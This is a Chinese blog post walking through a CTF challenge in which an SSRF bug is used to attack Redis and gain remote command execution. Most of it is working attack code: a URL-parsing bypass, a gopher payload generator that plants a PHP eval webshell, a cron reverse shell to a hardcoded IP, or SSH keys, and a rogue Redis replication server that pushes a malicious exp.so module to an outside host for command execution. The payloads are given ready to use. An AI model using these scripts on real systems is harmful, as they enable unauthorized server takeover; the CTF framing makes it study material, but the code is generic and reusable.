刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

ssrf redis 远程命令执行 rce

网鼎杯玄武组题目,ssrf代码

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

根据提示需要读取hint.php的内容

http://39.97.160.127/?url=http://baidu.com@0.0.0.0:80@lgr/hint.php  可以读取到文件内容

image.png

提示了redis密码是test,应该是要用ssrf打redis,我们直接打rce

先使用dict探测6379端口,提示noauth,需要密码

image.png


http://39.97.160.127/?url=dict://baidu.com@0.0.0.0:6379@lgr/AUTH%20test

出现了两个ok,说明密码正确

image.png

使用脚本生成ssrf redis rce 的payload

#!/usr/local/bin python
#coding=utf8

try:
    from urllib import quote
except:
    from urllib.parse import quote

def generate_info(passwd):
    
    cmd=[
        "info",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_shell(filename,path,passwd,payload):
    
    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_reverse(filename,path,passwd,payload): # centos

    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_sshkey(filename,path,passwd,payload):

    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):

    exp_filename="exp.so"
    cmd=[
        "SLAVEOF {} {}".format(lhost,lport),
        "CONFIG SET dir /tmp/",
        "config set dbfilename {}".format(exp_filename),
        "MODULE LOAD /tmp/{}".format(exp_filename),
        "system.exec {}".format(command.replace(" ","${IFS}")),
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def rce_cleanup():
    exp_filename="exp.so"
    cmd=[
        "SLAVEOF NO ONE",
        "CONFIG SET dbfilename dump.rdb",
        "system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
        "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd

def generate_payload(passwd,mode):

    payload="test"

    if mode ==0:
        filename="shell.php"
        path="/var/www/html"
        shell="\n\n<?=eval($_GET[0]);?>\n\n"

        cmd=generate_shell(filename,path,passwd,shell)

    elif mode==1: 
        filename="root"
        path="/var/spool/cron/"
        shell="\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"

        cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))

    elif mode==2:
        filename="authorized_keys"
        path="/root/.ssh/"
        pubkey="\n\nssh-rsa "

        cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))
        
    elif mode==3:
        lhost="122.51.254.197"
        lport="5555"
        command="whoami"

        cmd=generate_rce(lhost,lport,passwd,command)

    elif mode==31:
        cmd=rce_cleanup()

    elif mode==4:
        cmd=generate_info(passwd)

    protocol="gopher://"

    ip="127.0.0.1"
    port="6379"

    payload=protocol+ip+":"+port+"/_"

    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload

    

if __name__=="__main__":   

    # 0 for webshell ; 1 for re shell ; 2 for ssh key ; 
    # 3 for redis rce ; 31 for rce clean up
    # 4 for info
    # suggest cleaning up when mode 3 used
    mode=3

    # input auth passwd or leave blank for no pw
    passwd = 'test' 

    p=generate_payload(passwd,mode)
    print(p)

image.png

image.png

gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A


配置好redis rogue 服务器的ip和端口 ,还有执行的命令

在自己的服务器上启动redis rogue server,代码如下

import socket
import time
 
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
 
def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd
 
def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock
 
def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))
 
def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return
 
 
def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False
 
if __name__=="__main__":
    lhost="122.51.254.197"
    lport=5555
    RogueServer(lport)

还需要一个exp.so文件,放在脚本同目录下,exp.so下载地址 

exp.zip

image.png


然后启动脚本,监听请求

image.png


对刚才生成的payload host部分进行替换,

gopher://127.0.0.1:6379/ 替换为

gopher://baidu.com@0.0.0.0:6379@lgr/

得到

gopher://baidu.com@0.0.0.0:6379@lgr/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A


然后进行对payload进行urlencode,得到

gopher%3a%2f%2fbaidu.com%400.0.0.0%3a6379%40lgr%2f_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Atest%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A122.51.254.197%250D%250A%25244%250D%250A5555%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2ftmp%2f%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2ftmp%2fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25242%250D%250Aid%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A


放到url参数里,就能执行命令了


image.png

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.